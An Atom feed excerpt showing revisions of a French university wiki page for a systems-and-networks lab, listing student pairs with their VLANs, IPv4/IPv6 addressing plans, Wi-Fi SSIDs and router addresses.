| INTERCO || 531 || 192.168.222.72/29 ||  || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 ||  || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Table du VLAN 42&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! @IPv4 MV !! @IPv6 MV (auto) &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 193.48.57.176/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 193.48.57.177/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 193.48.57.178/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 193.48.57.179/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 193.48.57.180/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 193.48.57.181/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 193.48.57.182/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Mel / Theo || 193.48.57.183/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 193.48.57.184/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 193.48.57.185/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 193.48.57.186/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Note : &lt;br /&gt;
&lt;br /&gt;
'''à compléter '''&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2&lt;br /&gt;
|-&lt;br /&gt;
| ROUTEUR E304&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| &lt;br /&gt;
| :: :F0&lt;br /&gt;
| :: :F0&lt;br /&gt;
| 10.NN.00.250&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR E306&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| &lt;br /&gt;
| :: :F1&lt;br /&gt;
| :: :F1&lt;br /&gt;
| 10.NN.00.251&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR SR52&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.189&lt;br /&gt;
| &lt;br /&gt;
| :: :F2&lt;br /&gt;
| :: :F2&lt;br /&gt;
| 10.NN.00.252&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR FLOTTANTE&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.190&lt;br /&gt;
| &lt;br /&gt;
| :: :F3&lt;br /&gt;
| :: :F3&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO 531 INTERCO-SA&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.40/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E304&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.41/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E306&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.42/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO SR53&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.43/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
!--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv4 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv6 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Faudra mettre en forme ça, signé Boris&lt;br /&gt;
Vlan 1 = Vlan d'administration&lt;br /&gt;
10.1.0.1/24 = router e306&lt;br /&gt;
10.1.0.2/24 = router e304&lt;br /&gt;
10.1.0.3/24 = ap e306&lt;br /&gt;
10.1.0.4/24 = ap e304&lt;br /&gt;
&lt;br /&gt;
=Architecture réseau=&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56722</id>
		<title>TP sysres IMA5sc 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56722"/>
				<updated>2021-11-29T17:52:39Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]&lt;br /&gt;
| Andrei Florea / Julien Delabre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]&lt;br /&gt;
| Robin Lasserye / Aviran Tetia &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]&lt;br /&gt;
| Axel Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]&lt;br /&gt;
| Selim Raphael&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]&lt;br /&gt;
| Helene Camille&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]&lt;br /&gt;
| Boris JACQUOT / Louis WADBLED&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]&lt;br /&gt;
| Johnny Gouvaert / Arthur Vercaemst&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]&lt;br /&gt;
| Mel Theo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]&lt;br /&gt;
| Khalil Alvare&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]&lt;br /&gt;
| Souleyman Enoch&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]&lt;br /&gt;
| Clément&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Plan d'adressage=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 11 || 10.01.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.01.0.250 || 10.01.0.251 || 10.01.0.252 || 10.01.0.253 || Marguerite || Paixdieu&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke&lt;br /&gt;
|- &lt;br /&gt;
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona&lt;br /&gt;
|-&lt;br /&gt;
| INTERCO || 531 || 192.168.222.72/29 ||  || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 ||  || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Table du VLAN 42&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! @IPv4 MV !! @IPv6 MV (auto) &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 193.48.57.176/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 193.48.57.177/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 193.48.57.178/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 193.48.57.179/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 193.48.57.180/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 193.48.57.181/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 193.48.57.182/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Mel / Theo || 193.48.57.183/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 193.48.57.184/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 193.48.57.185/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 193.48.57.186/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Note : &lt;br /&gt;
&lt;br /&gt;
'''à compléter '''&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2&lt;br /&gt;
|-&lt;br /&gt;
| ROUTEUR E304&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| &lt;br /&gt;
| :: :F0&lt;br /&gt;
| :: :F0&lt;br /&gt;
| 10.NN.00.250&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR E306&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| &lt;br /&gt;
| :: :F1&lt;br /&gt;
| :: :F1&lt;br /&gt;
| 10.NN.00.251&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR SR52&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.189&lt;br /&gt;
| &lt;br /&gt;
| :: :F2&lt;br /&gt;
| :: :F2&lt;br /&gt;
| 10.NN.00.252&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR FLOTTANTE&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.190&lt;br /&gt;
| &lt;br /&gt;
| :: :F3&lt;br /&gt;
| :: :F3&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO 531 INTERCO-SA&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.40/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E304&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.41/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E306&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.42/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO SR53&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.43/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
!--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv4 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv6 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Architecture réseau=&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	</feed>